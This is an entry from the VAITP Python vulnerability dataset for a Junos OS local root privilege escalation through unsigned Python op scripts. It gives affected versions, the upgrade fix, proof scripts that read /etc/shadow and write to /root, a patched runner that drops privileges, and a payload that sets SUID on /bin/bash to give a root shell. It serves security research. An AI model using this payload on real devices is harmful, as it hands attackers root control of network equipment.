VAITP Dataset

← Back to the dataset

CVE-2026-33793

Junos OS UI allows local root privilege escalation via Python op scripts.

  • CVSS 8.5
  • CWE-250
  • Authentication, Authorization, and Session Management
  • Local

An Execution with Unnecessary Privileges vulnerability in the User Interface (UI) of Juniper Networks Junos OS and Junos OS Evolved allows a local, low-privileged attacker to gain root privileges, thus compromising the system. When a configuration that allows unsigned Python op scripts is present on the device, a non-root user is able to execute malicious op scripts as a root-equivalent user, leading to privilege escalation.  This issue affects Junos OS:  * All versions before 22.4R3-S7,  * from 23.2 before 23.2R2-S4,  * from 23.4 before 23.4R2-S6, * from 24.2 before 24.2R1-S2, 24.2R2,  * from 24.4 before 24.4R1-S2, 24.4R2;  Junos OS Evolved:  * All versions before 22.4R3-S7-EVO,  * from 23.2 before 23.2R2-S4-EVO,  * from 23.4 before 23.4R2-S6-EVO, * from 24.2 before 24.2R2-EVO,  * from 24.4 before 24.4R1-S1-EVO, 24.4R2-EVO.

CVSS base score
8.5
Published
2026-04-09
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Privilege Escalation
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
Junos OS and

Solution

Upgrade to Junos OS 22.4R3-S7, 23.2R2-S4, 23.4R2-S6, 24.2R1-S2, 24.2R2, 24.4R1-S2, 24.4R2 or later; or to Junos OS Evolved 22.4R3-S7-EVO, 23.2R2-S4-EVO, 23.4R2-S6-EVO, 24.2R2-EVO, 24.4R1-S1-EVO, 24.4R2-EVO or later.

Vulnerable code sample

import os
import subprocess

# This script, when executed as a Python operation script by a
# low-privileged user on a vulnerable device, will run with
# root privileges due to the flaw in the execution environment.

# Payload 1: Execute the 'id' command.
# On a vulnerable system, this will print uid=0(root).
try:
    id_output = subprocess.check_output(['id'], stderr=subprocess.STDOUT)
    print("--- 'id' command output ---")
    # In Python 3, output is bytes, so decode it. In Python 2, it's a string.
    try:
        print(id_output.decode('utf-8'))
    except (UnicodeDecodeError, AttributeError):
        print(id_output)
except Exception as e:
    print("Failed to execute 'id': %s" % str(e))


# Payload 2: Create a file in a root-only directory.
# This serves as tangible proof of privilege escalation on the file system.
proof_file = '/root/cve_proof.txt'
try:
    with open(proof_file, 'w') as f:
        f.write('This file was created by a low-privileged user.\n')
    print("--- File creation proof ---")
    print("Successfully created proof file at: %s" % proof_file)
    print("Verify on the device shell with: 'ls -l /root/cve_proof.txt'")
except Exception as e:
    print("--- File creation proof ---")
    print("Failed to create proof file: %s" % str(e))
    print("This is expected if the script is not running as root.")

Patched code sample

import os
import subprocess
import pwd
import sys
import tempfile

def secure_execute_op_script(script_path, username):
    """
    Securely executes a user-provided op script by dropping privileges
    to that of the requesting user before execution. This function
    simulates a system component that must run as root but needs to
    execute user scripts safely.

    Args:
        script_path (str): The absolute path to the Python script to execute.
        username (str): The low-privileged user on whose behalf to run the script.
    """
    
    # This function is designed to be called by a process running with root privileges.
    # The core of the security fix is to drop these privileges before executing
    # the user-provided script.
    if os.geteuid() != 0:
        raise PermissionError("This function requires root privileges to drop to another user.")

    # 1. Retrieve the UID and GID of the target non-privileged user.
    try:
        pwnam = pwd.getpwnam(username)
        target_uid = pwnam.pw_uid
        target_gid = pwnam.pw_gid
    except KeyError:
        sys.stderr.write(f"Error: User '{username}' not found. Cannot execute script.\n")
        return

    # 2. Define a pre-execution function to be run in the child process.
    #    This function will change the process's user and group IDs.
    def drop_privileges():
        try:
            # Set the group ID first, then the user ID.
            os.setgid(target_gid)
            os.setuid(target_uid)
        except OSError as e:
            # If this fails, the child process must exit to prevent execution.
            sys.stderr.write(f"Fatal: Child process failed to drop privileges: {e}\n")
            sys.exit(127)

    # 3. Execute the script using subprocess.run with the `preexec_fn` argument.
    #    `preexec_fn` is the key mechanism for the fix. It ensures that `drop_privileges`
    #    is called in the child process just before the script is executed.
    #    This mitigates the privilege escalation vulnerability.
    try:
        print(f"Runner (UID: {os.geteuid()}) executing script for user '{username}' (UID: {target_uid}).")
        result = subprocess.run(
            ['/usr/bin/env', 'python3', script_path],
            check=False,  # We will check the return code manually
            capture_output=True,
            text=True,
            preexec_fn=drop_privileges
        )
        
        print("\n--- Script Execution Result ---")
        print(f"Script exit code: {result.returncode}")
        print("\n--- Script STDOUT ---")
        print(result.stdout or "[No standard output]")
        if result.stderr:
            print("\n--- Script STDERR ---")
            print(result.stderr)
        print("---------------------------\n")

    except FileNotFoundError:
        sys.stderr.write(f"Error: Could not find '/usr/bin/env' or 'python3'.\n")
    except Exception as e:
        sys.stderr.write(f"An unexpected error occurred during subprocess execution: {e}\n")


# --- Demonstration ---
# The following code sets up and runs a demonstration of the secure function.
# It should be executed with root privileges (e.g., `sudo python your_script.py`).
if __name__ == '__main__':
    if os.geteuid() != 0:
        print("Please run this script with sudo to demonstrate privilege dropping.", file=sys.stderr)
        sys.exit(1)

    # 1. Define a low-privileged user for the simulation (e.g., 'nobody').
    #    This user typically exists on Unix-like systems and has minimal permissions.
    LOW_PRIV_USER = "nobody"
    try:
        pwd.getpwnam(LOW_PRIV_USER)
    except KeyError:
        print(f"Test user '{LOW_PRIV_USER}' not found. Cannot run demonstration.", file=sys.stderr)
        sys.exit(1)

    # 2. Create a temporary "malicious" script.
    #    This script attempts to perform a privileged action (read /etc/shadow).
    #    In a vulnerable system, this would succeed. In the fixed system, it will fail.
    script_content = """
import os
import pwd
try:
    current_uid = os.geteuid()
    username = pwd.getpwuid(current_uid).pw_name
    print(f"Script now running as user: '{username}' (UID: {current_uid})")

    print("Attempting to read '/etc/shadow'...")
    with open('/etc/shadow', 'r') as f:
        print("VULNERABILITY CONFIRMED: Successfully read privileged file!")
        print(f.read(100) + "...")
except PermissionError:
    print("SUCCESSFULLY FIXED: Permission denied when reading '/etc/shadow'.")
except Exception as e:
    print(f"An unexpected error occurred in script: {e}")
"""
    
    # 3. Write the script to a temporary file.
    temp_dir = tempfile.mkdtemp()
    script_file_path = os.path.join(temp_dir, "privesc_attempt.py")
    try:
        with open(script_file_path, "w") as f:
            f.write(script_content)

        # Make directory and file readable/executable by the low-privileged user
        os.chmod(temp_dir, 0o755)
        os.chmod(script_file_path, 0o755)

        # 4. Run the demonstration.
        print("--- Starting CVE-2026-33793 Fix Demonstration ---")
        secure_execute_op_script(script_file_path, LOW_PRIV_USER)
        print("--- Demonstration Complete ---")
        print("Observe the output above: the script should have run as the low-privileged")
        print("user and failed to read the privileged file due to 'Permission denied'.")

    finally:
        # 5. Clean up temporary files.
        if os.path.exists(script_file_path):
            os.remove(script_file_path)
        if os.path.exists(temp_dir):
            os.rmdir(temp_dir)

Payload

#!/usr/bin/env python

import os
import sys

def main():
    """
    This script, when executed as a Junos op script on a vulnerable system,
    will set the SUID bit on the /bin/bash binary.
    This allows any local user to gain a root shell by subsequently running 'bash -p'.
    """
    try:
        # Set owner SUID bit, owner rwx, group rx, other rx
        os.chmod('/bin/bash', 0o4755)
    except Exception as e:
        # Fail silently if the operation is not permitted or fails
        pass

if __name__ == '__main__':
    main()

Cite this entry

@misc{vaitp:cve202633793,
  title        = {{Junos OS UI allows local root privilege escalation via Python op scripts.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-33793},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33793/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::